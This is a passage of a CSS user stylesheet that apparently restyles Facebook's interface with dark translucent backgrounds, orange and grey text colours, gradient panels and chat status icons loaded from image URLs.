rgb(85,85,85)\"],strong[style*=\"color: rgb(68,68,68)\"],div[style*=\"color: gray\"],.group_officers dd,.fbpage_group_title,.application_menu_divider,.friend_status span,.more_info,.logged_out_register_subhead,.logged_out_register_footer,input[type=\"text\"],textarea,.status_name span,input[type=\"file\"],.UIStoryAttachment_Copy,.stream_participants_short,.UIHotStory_Copy,input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not(.UIButton_Text):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([value=\"Flag\"]):not([type=\"submit\"]),input[type=\"search\"],input[type=\"input\"],.inputtext,.relationship span,input[type=\"button\"]:not([value=\"Comment\"]),input[type=\"password\"],#reg_pages_msg,.UIMutableFilterList_Tip,.like_sentence,.UIIntentionalStory_InfoText,.UIHotStory_Why,.question_text,.UIStory,.tokenizer,input[type=\"hidden\"],.tokenizer_input *,.text:not(.external),.flistedit b,.fexth,.UIActionMenu_Main,span[style*=\"color: rgb(102,102,102)\"],div[style*=\"color: rgb(85,85,85)\"],div[style*=\"color: rgb(119,119,119)\"],blockquote,.description,.security_badge,.full_name,.email_display,.email_section,.chat_fl_nux_messaging,.UIObjectListing_Subtext,.confirmation_login_content,.confirm_username,.UIConnectControls_Body em,.comment_actual_text,.status,.UICantSeeProfileBlurbText,.UILiveLink_Description,.recaptcha_text,.UIBeep_Title,.UIComposer_Attachment_ShareLink_URL,.app_dir_app_category,.first_stat,.aggregate_review_title,.stats span,.facebook_disclaimer,.app_dir_app_creator,.app_dir_app_monthly_active_users,.app_dir_app_friend_users,.UISearchFilterBar_Label,.UIFullListing_InfoLabel,.email_promise_detail,.title_text,.excerpt,.dialog_body,.tos,.UIEMUASFrame_body,.page_note,.nux_highlight_composer,.UIIntentionalStory_BottomAttribution,.tagline,.GBSelectList,.gigaboxx_thread_header_authors,.GBThreadMessageRow_ReferrerLink,#footerWrapper,.infoTitle,.fg_explain,.UIMentor_Message,.GenericStory_BottomAttribution,.chat_input,.video_timestamp span,#tagger_prompt,.UIImageBlock_Content,.new_list span, .GBSearchBox_Input input,.SearchPage_EmailSearchLeft,.sub_info,.UIBigNumber_Label,.UIInsightsGeoList_ListTitle,.UIInsightsGeoList_ListItemValue,.UIInsightsSmall_Note,.textmedium,.UIFeedFormStory_Lead,.home_no_stories_content, .title_label,div[style*=\"color: rgb(102,102,102)\"],*[style*=\"color: rgb(51,51,51)\"],.tab_box_inner,.uiStreamMessage,.privacy_section_description,.info_text,.uiAttachmentDesc,.uiListBulleted span,.privacySettingsGrid th,.recommendations_metadata,.postleft dd:not(.usertitle),.postText,.mall_post_body_text,.fbChatMessage,.fbProfileBylineFragment,.nosave option,.uiAttachmentDetails,.fbInsightsTable td,.mall_post_body,.uiStreamPassive,.snippet,.questionInfo span,.promotionsHowto,.fcg,.headerColumn .fwb,.rowGroupTitle .fwb,.rowGroupDescription .fwb,.likeUnit,.aboveUnitContent,.placeholder,.sectionContent,.UIFaq_Snippet,.uiMenuItem:not(.checked) .name,.balloon-text,.fbLongBlurb,.legendLabel,.messageBody {color: #bbb !important;}\n\n.status_clear_link,h3,h1,.updates,.WelcomePage_SignUpHeadline,.WelcomePage_SignUpSubheadline,.mock_h4 .left,.review_header_title,caption,.logged_out_register_msg,.domain_name, .UITitledBox_Title,.signup_box_content,.highlight,.question,.whocan span,.UIFilterList > .UIFilterList_Title,.subject,.UIStoryAttachment_Label,.typeahead_message,.UIShareStage_Title,.alternate_name,.helper_text,.textlarge,.page .category,.item_date,.privacy_section_label,.privacy_section_title,.uiTextMetadata, .seeMoreTitle,.categoryContents,code,.usertitle,.fbAppSettingsPageHeader,.fsxl,.LogoutPage_MobileMessage,.LogoutPage_MobileSubmessage,.recommended_text,#all_friends_text,.removable,.ginormousProfileName,.experienceContent .fwb,#bfb_t_popular_body div[style*=\"color:#880000\"],.fsm:not(.snippet):not(.itemLabel):not(.fbChatMessage),.uiStreamHeaderTextRight,.bookmarksNavSeeAll,.tab .content,.fbProfilePlacesFilterCount,.fbMarketingTextColorDark,.pageNumTitle,.pluginRecommendationsBarButton {color: #FFAA66 !important;}\n\n.em,.story_comment_back_quote,.story_content,small,.story_content_excerpt,.walltext,.public,p span,#friends_page_subtitle,.main_title,.empty_message,.count,.count strong,.stories_not_included li span,.mobile_add_phone th,#friends strong,.current,.no_photos,.intro,.sub_selected a,.stats,.result_network,.note_body,#bodyContent div b,#bodyContent div,.upsell dt,.buddy_count_num strong,.left,.body,.tab .current,.aim_link span,.story_related_count,.admins span,.summary em,.fphone_number,.my_numbers_label,.blurb_inner,.photo_header strong,.note_content,.multi_friend_status,.current_path span,.current_path,.petition_header,.pyramid_summary strong,#status_text,.contact_email_pending em,.profile_needy_message,.paging_link div,.big_title,.fb_header_light,.import_status strong,.upload_guidelines ul li span,.upload_guidelines ul li span strong,#selector_status,.timestamp strong,.chat_notice,.notice_box,.text_container,.album_owner,.location,.info_rows dd,.divider,.post_user,div[style=\"color: rgb(101,107,111);\"] b,div[style=\"color: rgb(51,51,51);\"] b,.basic_info_summary_and_viewer_actions dd,.profile_info dd,.story_comment,p strong,th strong,.fstatus,.feed_story_body,.story_content_data,.home_prefs_saved p,.networks dd,.relationship_status dd,.birthday dd,.current_city dd,.UIIntentionalStory_Message,.UIFilterList_Selected a,.UIHomeBox_Title,.suggestion,.spell_suggest,.UIStoryAttachment_Caption,.fexth + td,.fext_short,#fb_menu_inbox_unread_count,.Tabset_selected .arrow .sel_link span,.UISelectList_check_Checked,.chat_fl_nux_header,.friendlist_status .title a,.chat_setting label,.UIPager_PageNum,.good_username,.UIComposer_AttachmentTitle,.rsvp_option:hover label,.Black,.comment_author span,.fan_status_inactive,.holder,.UIThumbPagerControl_PageNumber,.text_center,.nobody_selected,.email_promise,.blocklist ul,#advanced_body_1 label,.continue,.empty_albums,div[style*=\"color: black\"],.GBThreadMessageRow_Body_Content,.UIShareStage_Subtitle,#public_link_photo span,.GenericStory_Message,.UIStoryAttachment_Value,div[style*=\"color: black\"],.SearchPage_EmailSearchTitle,.uiTextSubtitle,.jewelHeader,.recent_activity_settings_label,.people_list_item,.uiTextTitle,.tab_box,.instant_personalization_title,.MobileMMSEmailSplash_Description,.MobileMMSEmailSplash_Tipsandtricks_Title,.fcb,input[value=\"Find Friends\"],#bodyContent,#bodyContent table,h6,.fbChatBuddylistError,.info dt,.bfb_options_minimized_hide,.connect_widget_connected_text,body.transparent_widget .connect_widget_not_connected_text,.connect_widget_button_count_count,.fbInsightsStatisticNumber,.fbInsightsTable thead th span,.header span,.friendlist_name a,.count .countValue,.uiHeaderTitle span,#about_text_less span,.uiStreamHeaderText,.navHeader,.uiAttachmentTitle,.fbProfilePlacesFilterText,.tagName,.ufb-dataTable-header-text,.ufb-text-content,.fb_content,.uiComposerAttachment .selected .attachmentName,.balloon-title,.cropMessage {color: #fff !important;}\n\n.bfb_post_action_container {opacity: .25 !important;}\n.bfb_post_action_container:hover {opacity: 1 !important;}\n\n.valid,.wallheader small,#photodate,.video_timestamp strong,.date_divider span,.feed_msg h5,.time,.item_contents,.boardkit_topic_updated,.walltime,.feed_time,.story_time,#status_time_inner,.written small,.date,div[style*=\"color: rgb(85,82,37)\"],.timestamp span,.time_stamp,.timestamp,.header_info_timestamp,.more_info div,.timeline,.UIIntentionalStory_Time,.fupdt,.note_timestamp,.chat_info_status_time,.comment_actions,.UIIntentionalStory_Time a,.UIUpcoming_Time,.rightlinks,.GBThreadMessageRow_Date,.GenericStory_Time a,.GenericStory_Time,.fbPrivacyPageHeader,.date_divider {color: #FFAA66 !important;}\n\n.textinput,select,.list_drop_zone,.msg_divide_bottom,textarea,input[type=\"text\"],input[type=\"file\"],input[type=\"search\"],input[type=\"input\"],input[type=\"password\"],.space,.tokenizer,input[type=\"hidden\"],#flm_new_input,.UITooltip:hover,.UIComposer_InputShadow,.searchroot input,input[name=\"search\"],.uiInlineTokenizer,input.text,input.nosave {background: rgba(0,0,0,.50) !important;-moz-appearance:none!important;color: #bbb !important;border: none !important;padding: 3px !important; }\n\ninput[type=\"text\"]:focus,textarea:focus,.fbChatSidebar .fbChatTypeahead .textInput:focus {box-shadow: 0 0 .5em #FF9D52,inset 0 0 .25em #FFAA66 !important;}\n\n.uiOverlayPageWrapper,#fbPhotoSnowlift,.shareOverlay,.tlPageRecentOverlay {background: -webkit-radial-gradient(50% 50%,circle,rgba(10,10,10,.6),rgb(10,10,10) 90%) !important;}\n\n.bumper,.stageBackdrop {background: #000 !important;}\n#page_table {background: #333 }\n\n.checkableListItem:hover a,.selectedCheckable a {background: #FFAA66 !important; }\n\n.GBSearchBox_Input,.tokenizer,.LTokenizerWrap,#mailBoxItems li a:hover,.uiTypeaheadView .search .selected,.itemAnchor:hover,.notePermalinkMaincol .top_bar, .notification:hover a,#bfb_tabs div:not(.bfb_tab_selected),.bfb_tab,.navIdentity form:hover,.connect_widget_not_connected_text,.uiTypeaheadView li.selected,.connect_widget_number_cloud,.placesMashCandidate:hover,.highlight,#bfb_option_list li a:hover {background: rgba(0,0,0,.5) !important;}\n\n.results .page,.calltoaction,.results li,.fbNubFlyout,.contextualBlind,.bfb_dialog,.bfb_image_preview,input.text,.fbChatSidebar,.jewelBox,.clickToTagMessage,.tagName,.ufb-tip-body,.flyoutContent,.fbTimelineMapFilterBar,.fbTimelineMapFilter,.fbPhotoStripTypeaheadForm,.groupsSlimBarTop,.pas,.contentBox,.fbMapCalloutMain {background: rgba(10,10,10,.75) !important;}\n\n#pageNav .tinyman:hover a,#navHome:hover a,#pageNav .tinyman a[style*=\"cursor: progress\"],#navHome a[style*=\"cursor: progress\"],#home_filter_list,#home_sidebar,#contentWrapper,.LDialog,.dialog-body,.LDialog,.LJSDialog,.dialog-foot,.chat_input,#contentCol,#leftCol,.UIStandardFrame_Content,.red_box,.yellow_box,.uiWashLayoutOffsetContent,.uiOverlayContent,.bfb_post_action_container,.connect_widget_button_count_count,.shaded,.navIdentitySub,.jewelItemList li a:hover,.fbSidebarGripper div,.jewelCount,.uiBoxRed,.videoUnit,.lifeEventAddPhoto,.fbTimelineLogIntroMegaphone,.uiGamesLeaderboardItem,.pagesTimelineButtonPagelet .counter,#pagelet_timeline_profile_actions .counter,.newInterestListNavItem:hover,.ogSliderAnimPagerPrevContent,.ogSingleStoryStatus,.ogSliderAnimPagerNextContent,.-cx-PRIVATE-uiDialog__body {background: rgba(10,10,10,.5) !important;}\n\n#home_stream,pre,.ufiItem,.odd,.uiBoxLightblue,.platform_dialog_bottom_bar,.uiBoxGray,.fbFeedbackPosts,.mall_divider_text,.uiWashLayoutGradientWash, #bfb_options_body,.UIMessageBoxStatus,.tip_content .highlight,.fbActivity, .auxlabel,.signup_bar_container,#wait_panel,.FBAttachmentStage,.sheet,.uiInfoTable .name,.HCContents,#devsiteHomeBody .content,.devsitePage .nav .content,#confirm_phone_frame,.fbTimelineCapsule .timelineUnitContainer,.timelineReportContainer,.aboveUnitContent,.aboutMePagelet,#pagelet_tab_content_friends,#fbProfilePlacesBorder,#pagelet_tab_content_notes,.externalShareUnit,.fbTimelineNavigationWrapper .detail,.tosPaneInfo,.navSubmenu:hover,#bfb_donate_pagelet > div,.better_fb_mini_message,.uiBoxWhite,.uiLoadingIndicatorAsync,.mleButton,.fbTimelineBoxCount,.navSubmenu:hover,.gradient,.profileBrowserGrid tr > td > div,.statsContainer,#admin_panel,.fbTimelineSection {background: rgba(20,20,20,.4) !important;}\n\n.uiSelector .uiSelectorButton,.UIRoundedBox_Corner,.quote,.em,.UIRoundedBox_TL,.UIRoundedBox_TR,.UIRoundedBox_BR,.UIRoundedBox_LS,.UIRoundedBox_BL,.profile_color_bar,.pagefooter_topborder,.menu_content,h3,#feed_content_section_friend_lists,ul,li[class=\"\"],.comment_box,.comment,#homepage_bookmarks_show_more,.profile_top_wash,.canvas_container,.composer_rounded,.composer_well,.composer_tab_arrow,.composer_tab_rounded,.tl,.tr,.module_right_line_block,.body,.module_bottom_line,.lock_b_bottom_line,#info_section_info_2530096808 .info dt,.pipe,.dh_new_media,.dh_new_media .br,.frn_inpad,#frn_lists,#frni_0,.frecent span,h3 span,.UIMediaHeader_TitleWash,.editor_panel .right,.UIMediaButton_Container tbody *,#userprofile,.profile_box,.date_divider span,.corner,.profile #content .UIOneOff_Container,.ff3,.photo #nonfooter #page_height,.home #nonfooter #page_height,.home .UIFullPage_Container,.main-nav,.generic_dialog,#fb_multi_friend_selector_wrapper,#fb_multi_friend_selector,.tab span,.tabs,.pixelated,.disabled,.title_header .basic_header,#profile_tabs li,#tab_content,.inside td,.match_link span,tr[fbcontext=\"41097bfeb58d\"] table,.accent,#tags h2,.read_updates,.user_input,.home_corner,.home_side,.br,.share_and_hide,.recruit_action,.share_buttons,.input_wrapper,.status_field,.UIFilterList_ItemRight,.link_btn_style span,.UICheckList_Label,#flm_list_selector .Tabset_selected .arrow,#flm_list_selector .selector .arrow .sel_link,.friendlist_status .title a,.online_status_container,.list_drop_zone_inner,.good_username,.WelcomePage_Container,.UIComposer_ShareButton *,.UISelectList_Label,.UIComposer_InputShadow .UIComposer_TextArea,.UIMediaHeader_TitleWrapper,.boxtopcool_hg,.boxtopcool_trg,.boxtopcool_hd,.boxtopcool_trd,.boxtopcool_bd,.boxtopcool_bg,.boxtopcool_b,#confirm_button,.title_text,#advanced_friends_1,.fb_menu_item_link,.fb_menu_item_link small,.white_hover,.GBTabset_Pill span,.UINestedFilterList_ItemRight,.GBSearchBox_Input input,.inline_edit,.feedbackView .comment th div,.searchroot,.composerView th div,.reply th div,.LTokenizer,.Mentions_Input,form.comment div,.ufi_section,.BubbleCount,.BubbleCount_Right,.UIStory,.object_browser_pager_more,.friendlist_name,.friendlist_name a,.switch,#tagger,.tagger_border,.uiTooltip,#reorder_fl_alert,.UIBeeper_Full,#navSearch,#navAccount,#navAccountPic,#navAccountName,#navAccountInfo,#navAccountLink,#mailBoxItems,#pagelet_chat_home h4,.buddy_row,.home_no_stories,#xpageNav li .navSubmenu,.uiListItem:not(.ufiItem),.uiBubbleCount,.number,.fbChatBuddylistPanel,.wash,.settings_screenshot,.privacyPlan .uiListItem:hover,.no_border,.auxiliary .highlight,.emu_comments_box_nub,.numberContainer,.uiBlingBox,.uiBlingBox:hover span,.callout_buttons,.uiWashLayoutEmptyGradientWash,.inputContainer,.editNoteWrapperInput,.fbTextEditorToolbar,.logoutButton input,#contentArea .uiHeader + .uiBoxGray,.uiTokenizer,#bfb_tabs,.profilePictureNuxHighlight,.profile-picture,#ci_module_list,.textBoxContainer,#date_form .uiButton,.insightsDateRange,.MessagingReadHeader,.groupProfileHeaderWash,.questionSectionLabel,.metaInfoContainer,.uiStepList ol,.friend_list,.fbFeedbackMentions,.bb .fbNubFlyoutHeader,.bb .fbNubFlyoutFooter,.fbNubFlyoutInner .fbNubFlyoutFooter,.gradientTop,.gradientBottom,.helpPage,.fbEigenpollTypeahead .plus,.uiSearchInput,.opengraph,#developerAppDetailsContent,.timelineLayout #contentCol,.attachmentLifeEvents,.fbProfilePlacesFilterBar,.uiStreamHeader,.uiStreamHeaderChronologicalForm,.inner .text,.pageNotifPopup,.uiButtonGroup,.navSubmenuPageLink,.fbTimelineTimePeriod,.bornUnit,.mleFooter,#bfb_filter_add_row,#bfb_options .option .no_hover,.fbTimelinePhotosSeparator h4 span,.withsubsections,.showMore,.event_profile_information tr:hover,.nux_highlight_nub,.uiSideNav .uiCloseButton,.uiSideNav .uiCloseButton input,.fb_content,.uiComposerAttachment .selected .attachmentName,.fbHubsTokenizer,.coverEmptyWrap,.uiStreamHeaderText,.pagesTimelineButtonPagelet,.fbNubFlyoutBody,#pageNav .tinyman:hover,#navHome:hover,.fbRemindersThickline,.uiStreamEdgeStoryLine hr,.uiInfoTable tbody tr:hover,.fbTimelineUFI,#contentArea,.leftPageHead,.rightPageHead,.anchorUnit,#pageNav .topNavLink a:focus,.timeline_page_inbox_bar,.uiStreamEdgeStoryLineTx,.pluginRecommendationsBarButton,.pluginRecommendationsBarTop table {background: transparent !important;}\n\n.UIObject_SelectedItem,.sidebar_item_header,.announcement_title,#pagefooter,.selected:not(.key-messages):not(.key-events):not(.key-media):not(.key-ff):not(.page):not(.group):not(.user):not(.app),.date_divider_label,.profile_action,.blurb ,.tabs_more_menu,.more a span,.selected h2,.column h2,.ffriends,.make_new_list_button_table tr,.title_header,.inbox_menu,.side_column,.section_header h3 span,.media_header,#album_container,.note_dialog,.dialog,.has_app,.UIMediaButton_Container,.dialog_title,.dialog_content,#mobile_notes_announcement,.see_all,#profileActions,.fbpage_group_title,.UIProfileBox_SubHeader,#profileFooter,.share_header,#share_button_dialog,.flag_nav_item_selected,.new_user_guide_content h2,#safety_page h4,.section_banner,.box_head,#header_bar,.content_sidebar h3,.content_header,#events h3,#blog h3,.footer_border_bottom,.firstHeading,#footer,.recent_news h3,.wrapper div h2,.UIProfileBox_Header,.box_header,.bdaycal_month_section,#feedTitle,.pop_content,#linkeditor,.UIMarketingBox_Box,.utility_menu a,.typeahead_list,.typeahead_suggestions,.typeahead_suggestion,.fb_dashboard_menu,.green_promotion,.module h2,.current_path,.boardkit_title,.current,.see_all2,.plain,.share_post,.add-link,li.selected,.active_list a,#photoactions a:not(#rotaterightlink):not(#rotateleftlink),.UIPhotoTagList_Header,.dropdown_menu,.menu_content,.menu_content li a:hover,.menu_content li:hover,#edit_profilepicture,.menu_content div a:hover,.contact_email_pending,.req_preview_guts,.inputbutton,.inputsubmit,.activation_actions_box,.wall_content,.matches_content_box_title,.new_menu_selected,#editnotes_content,#file_browser,.chat_window_wrapper,.chat_window,.chat_header,.hover,.dc_tabs a,.post_header,.header_cell,#error,.filters,.pages_dashboard_panel h2,.srch_landing h2,.bottom_tray,.next_action,.pl-divider-container,.sponsored_story,.header_current,.discover_concerts_box,.header,.sidebar_upsell_header,.activity_title h2,.wall_post_title,#maps_options_menu,.menu_link,.gamerProfileTitleBar,.feed_rooster ,.emails_success,.friendTable table:hover,.board_topic:hover,.fan_table table:hover,#partylist .partyrow:hover,.latest_video:hover,.wallpost:hover,.profileTable tr:hover,.friend_grid_col:hover,.bookmarks_list li:hover,.requests_list li:hover,.birthday_list li:hover,.tabs li,.fb_song:hover,.share_list .item_container:hover,.written a:hover,#photos_box .album:hover,.people .row .person:hover,.group_list .group:hover,.confirm_boxes .confirm:hover,.posted .share_item_wide .share_media:hover,.note:hover,.editapps_list .app_row:hover,.my_networks .blocks .block:hover,.mock_h4,#notification_options tr:hover,.notifications_settings li:hover,.mobile_account_main h2,.language h4,.products_listing .product:hover,.info .item .item_content:hover,.info_section:hover,.recent_notes p:hover,.side_note:hover,.suggestion,.story:hover,.post_data:hover,.album_row:hover,.track:hover,#pageheader,.message:hover,input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([value=\"Flag\"]):not([type=\"submit\"]),.UITabGrid_Link:hover,.UIActionButton,.UIActionButton_Link,.confirm_button,.silver_dashboard,span.button,.col:hover,#photo_tag_selector,#pts_userlist,.flink_dropdown,.flink_inner,.grouprow:hover,#findagroup h4,#startagroup h4,.actionspro a:hover,.UIActionMenu_Menu,.UICheckList_Label:hover,.make_new_list_button_table,.contextual_dialog_content,#flm_list_selector .selector:hover,.show_advanced_controls:hover,.UISelectList_check_Checked,.section_header,.section_header_bg,#buddy_list_panel_settings_flyout,.options_actions,.chat_setting,.flyout,.flyout .UISelectList,.flyout .new_list,#tagging_instructions,.FriendsPage_MenuContainer,.UIActionMenu,.UIObjectListing:hover,.UIStory_Hide .UIActionMenu_Wrap,.UIBeeper,.branch_notice,.async_saving,.UIActionMenu .UIActionMenu_Wrap:hover,.attachment_link a:hover,.UITitledBox_Top,.UIBeep,.Beeps,#friends li a:hover,.apinote h2,.UIActionButton_Text,.rsvp_option:hover,.onglettrhi,.ongletghi,.ongletdhi,.ongletg,.onglettr,.ongletd,.confirm_block, .unfollow_message,.UINestedFilterList_SubItem_Selected .UINestedFilterList_SubItem_Link,.UINestedFilterList_SubItem_Link:hover,.UINestedFilterList_Item_Link:hover,.UINestedFilterList_Selected .UINestedFilterList_Item_Link,.app_dir_app_summary:hover,.app_dir_featured_app_summary:hover,.app_dir_app_wide_summary:hover,.UIStory:hover,.UIPortrait_TALL:hover,.UIActionMenu_Menu div,.UIButton_Blue,.UIButton_Gray,.quiz_cell:hover,.UIFilterList > .UIFilterList_Title,.message_rows tr:hover,.ntab:hover,.thumb_selected,.thumb:hover,.hovered a,.pandemic_bar,.promote_page,.promote_page a,.create_button a,.nux_highlight,.UIActionMenu_Wrap,.share_button_browser div,.silver_create_button,.painted_button,.flyer_button,table[bindpoint=\"thread_row\"] tbody tr:hover,.GBThreadMessageRow:hover,#header,.button:not(.close):not(.uiSelectorButton):not(.videoicon):not(.toggle),h4,button:not(.as_link),#navigation a:hover,.settingsPaneIcon:hover,a.current,.inboxView tr:hover,.tabView li a:hover,.friendListView li:hover,.LTypeaheadResults,.LTypeaheadResults a:hover,.dialog-title, .UISuggestionList_SubContainer:hover,.typeahead_message,.progress_bar_inner,.video:hover,.advanced_controls_link,.plays_val,.lightblue_box,.FriendAddingTool_InnerMenu .UISelectList,.gray_box,.uiButton:not(.uiSelectorButton),.fbPrivacyWidget .uiSelectorButton:not(.lockButton),.uiButtonSuppressed,#navAccount li:not(#navAccountInfo),.jewelHeader,.seeMore,#mailBoxItems li,#pageFooter,.uiSideNav .key-nf:hover,.key-messages .item:hover,.key-messages ul li:hover,.key-events ul li:hover,.key-media ul li:hover,.key-ff ul li:hover,.key-apps:hover,.key-games:hover,.uiSideNav .sideNavItem:not(.open) .item:hover,.fbChatOrderedList .item:hover a,.uiHeader,.uiListItem:not(.mall_divider):hover,.uiSideNav li.selected > a,.ego_unit:hover,.results,.bordered_list_item:hover,.fbConnectWidgetFooter,#viewas_header,.fbNubFlyoutTitlebar,.info_text,.stage,.masterControl .selected a,.masterControl .controls .item a:hover,.uiTypeaheadView .search,.gigaboxx_thread_hidden_messages,.uiMenu,.uiMenuInner,.itemAnchor,.gigaboxx_thread_branch_message,.uiSideNavCount,.uiBoxYellow,.loggedout_menubar_container,.pbm .uiComposer,.megaphone_box,.uiCenteredMorePager,.fbEditProfileViewExperience:hover,.uiStepSelected .middle,.GM_options_header,.bfb_tab_selected, #MessagingShelfContent,.connect_widget_like_button,.uiSideNav .open,.fbActivity:hover,.fbQuestionsPollResultsBar,.insightsDateRangeCustom,.fbInsightsTable thead th,.mall_divider,.attachmentContent .fbTabGridItem:hover,.jewelItemNew,#MessagingThreadlist .unread,.type_selected,.bfb_sticky_note,.UIUpcoming_Item:hover,.progress_bar_outer,.fbChatBuddyListDropdown .uiButton,.UIConnectControlsListSelector .uiButton,.instructions,.uiComposerMetaContainer,.uiMetaComposerMessageBoxShelf,#feed_nux,#tickerNuxStoryDiv,.fbFeedTickerStory:hover,.fbCurrentStory:hover,.uiStream .uiStreamHeaderTall,.fbChatSidebarMessage,.fbPhotoSnowboxInfo,.devsitePage .menu,.devsitePage .menu .content,#devsiteHomeBody .wikiPanel > div,.toolbarContentContainer,.fbTimelineUnitActor,#fbTimelineHeadline,.fbTimelineNavigation,.fbTimelineFeedbackActions,.timelineReportHeader,.fbTimelineCapsule .timelineUnitContainer:hover,.timelineReportContainer:hover,.fbTimelineComposerAttachments .uiListItem:hover span a,.timelinePublishedToolbar,.timelineRecentActivityLabel,.fbTimelineMoreButton,.overlayTitle,.friendsBoxHeader,.escapeHatchHeader,.tickerStoryAllowClick,.appInvite:hover,.fbRemindersStory:hover,.lifeEventAddPhoto a:hover,.insights-header,.ufb-dataTable-header-container,.ufb-button,.older-posts-content,.mleButton:hover,.btnLink,.fill,.cropMessage,.adminPanelList li:hover a,.tlPageRecentOverlayStream,.addListPageMegaphone,.searchListsBox,.ogStaticPagerHeader,.dialogTitle,#rogerSidenavCallout,.fbTimelineAggregatedMapUnitSeeAll,.shareRedesignContainer,.ogSingleStoryText,.ogSliderAnimPagerPrevWrapper,.ogSliderAnimPagerNextWrapper,.shareRedesignText,.pluginRecommendationsBarTop\n{ background: -webkit-repeating-linear-gradient(-15deg,rgba(50,40,20,.5) 0px, rgba(75,65,32,.5) 75px, rgba(185,175,100,.5) 200px, rgba(75,65,32,.5) 325px, rgba(50,40,20,.5) 400px), fixed !important;}\n\n.hovercard .stage,.profileChip,.GM_options_wrapper_inner,.MessagingReadHeader .uiHeader,#MessagingShelf,#navAccount ul,.uiTypeaheadView,#blueBar,.uiFacepileItem .uiTooltipWrap,.fbJewelFlyout,.jewelItemList li,.notification:not(.jewelItemNew),.fbNubButton,.fbChatTourCallout .body,.uiContextualDialogContent,.fbTimelineStickyHeader .back,.timelineExpandLabel:hover,.pageNotifFooter a,.fbSettingsListLink:hover,.uiOverlayPageContent,#bfb_option_list,.fbPhotoSnowlift .rhc,.ufb-tip-title,.balloon-content,.tlPageRecentOverlayTitle,.uiDialog,.uiDialogForm,.permissionsLockText, .uiMenuXBorder,.-cx-PRIVATE-uiDialog__content,.-cx-PRIVATE-uiDialog__title\n{ background: -webkit-repeating-linear-gradient(-15deg,rgba(50,40,20,.5) 0px, rgba(75,65,32,.5) 75px, rgba(185,175,100,.5) 200px, rgba(75,65,32,.5) 325px, rgba(50,40,20,.5) 400px), fixed,rgba(10,10,10,.6) !important; }\n\n.unread .badge,.fbDockChatBuddyListNub .icon,.sx_7173a9,.selectedCheckable .checkmark {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/blueball15.png\") no-repeat right center!important;}\n\ntable[class=\" \"] .badge:hover,table[class=\"\"] .badge:hover,.offline .fbDockChatBuddyListNub .icon,.fbChatSidebar.offline .fbChatSidebarMessage .img {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/grayball15.png\") no-repeat right center!important;}\n\n.fbChatSidebar.offline .fbChatSidebarMessage .img {height: 16px !important;}\n\n.offline .fbDockChatBuddyListNub .icon,.fbDockChatBuddyListNub .icon,.sx_7173a9 {margin-top: 0 !important;height: 15px !important;}\n\na.idle,.buddyRow.idle .buddyBlock,.fbChatTab.idle .tab_availability,.fbChatTab.disabled .tab_availability,.chatIdle .chatStatus,.idle .fbChatUserTab .wrap,.chatIdle .uiTooltipText,.markunread,.bb .fbDockChatTab.user.idle .titlebarTextWrapper,.fbChatOrderedList .item:not(.active) .status {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/grayball10paddedright.png\") no-repeat left center !important;}\n\n.fbChatOrderedList .item .status {width: 10px !important;}\n\n.headerTinymanName {max-width: 320px !important; white-space: nowrap !important; overflow: hidden !important;}\n\n.uiTooltipText {padding-left: 14px !important;border: none !important;}\n \n.fbNubButton,.bb .fbNubFlyoutTitlebar,.bb .fbNub .noTitlebar,.fbDockChatTab,#fbDockChatBuddylistNub .fbNubFlyout,.fbDockChatTabFlyout,.titlebar {border-radius: 8px 8px 0 0!important;}\n\n.uiSideNav .open {padding-right: 0 !important;}\n.uiSideNav .open,.uiSideNav .open > *,#home_stream > *,.bb .rNubContainer .fbNub,.fbChatTab {margin-left: 0 !important;}\n.uiSideNav .open ul > * {margin-left: -20px !important;}\n.uiSideNav .open .subitem > .rfloat {margin-right: 20px !important;}\n\n.timelineUnitContainer .timelineAudienceSelector .uiSelectorButton {padding: 1px !important; margin: 4px 0 0 4px !important;}\n.timelineUnitContainer .audienceSelector .uiButtonNoText .customimg {margin: 2px !important;}\n.timelineUnitContainer .composerAudienceSelector .customimg {opacity: 1 !important; background-position: 0 1px !important; padding: 0 !important;}\n\n.fbNub.user:not(.disabled) .wrap {padding-left: 15px !important;}\n.fbNubFlyoutTitlebar .titlebarText {padding-left: 12px !important;}\n\na.friend:not(.idle),.buddyRow:not(.idle) .buddyBlock,.fbChatTab:not(.idle):not(.disabled) .tab_availability,.chatOnline .chatStatus,.markread,.user:not(.idle):not(.disabled) .fbChatUserTab .wrap,.chatOnline .uiTooltipText,.bb .fbDockChatTab.user:not(.idle):not(.disabled) .titlebarTextWrapper,.fbChatOrderedList .item.active .status,.active .titlebarTextWrapper,.uiMenu .checked .itemAnchor {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/blueball10paddedright.png\") no-repeat !important;}\n\na.friend:not(.idle),.buddyRow:not(.idle) .buddyBlock,.fbChatTab:not(.idle):not(.disabled) .tab_availability,.chatOnline .chatStatus,.markread,a.idle,.buddyRow.idle .buddyBlock {background-position: right center !important;}\n\n.user:not(.idle):not(.disabled) .fbChatUserTab .wrap,.chatOnline .uiTooltipText,.bb .fbDockChatTab.user:not(.idle):not(.disabled) .titlebarTextWrapper,.fbChatOrderedList .item.active .status,.active .titlebarTextWrapper,.user .fbChatUserTab .wrap {background-position: left center !important;}\n\n.uiMenu .checked .itemAnchor {background-position: 5px center !important;}\n\n.markunread,.markread {background-position: 0 center !important;}\n\n.chatIdle .chatStatus,.chatOnline .chatStatus {width: 10px !important;height: 10px !important;background-position: 0 0 !important;}\n\n#fbRequestsJewel .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Friends-Gray.png\") no-repeat center center !important;}\n\n#fbRequestsJewel:hover .jewelButton,#fbRequestsJewel.hasNew .jewelButton {background: 